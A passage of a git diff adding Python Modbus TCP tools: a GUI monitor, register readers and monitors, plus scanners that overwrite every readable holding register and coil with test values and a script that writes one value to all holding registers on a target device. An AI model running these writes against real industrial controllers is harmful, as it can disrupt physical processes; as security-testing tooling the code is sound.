self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 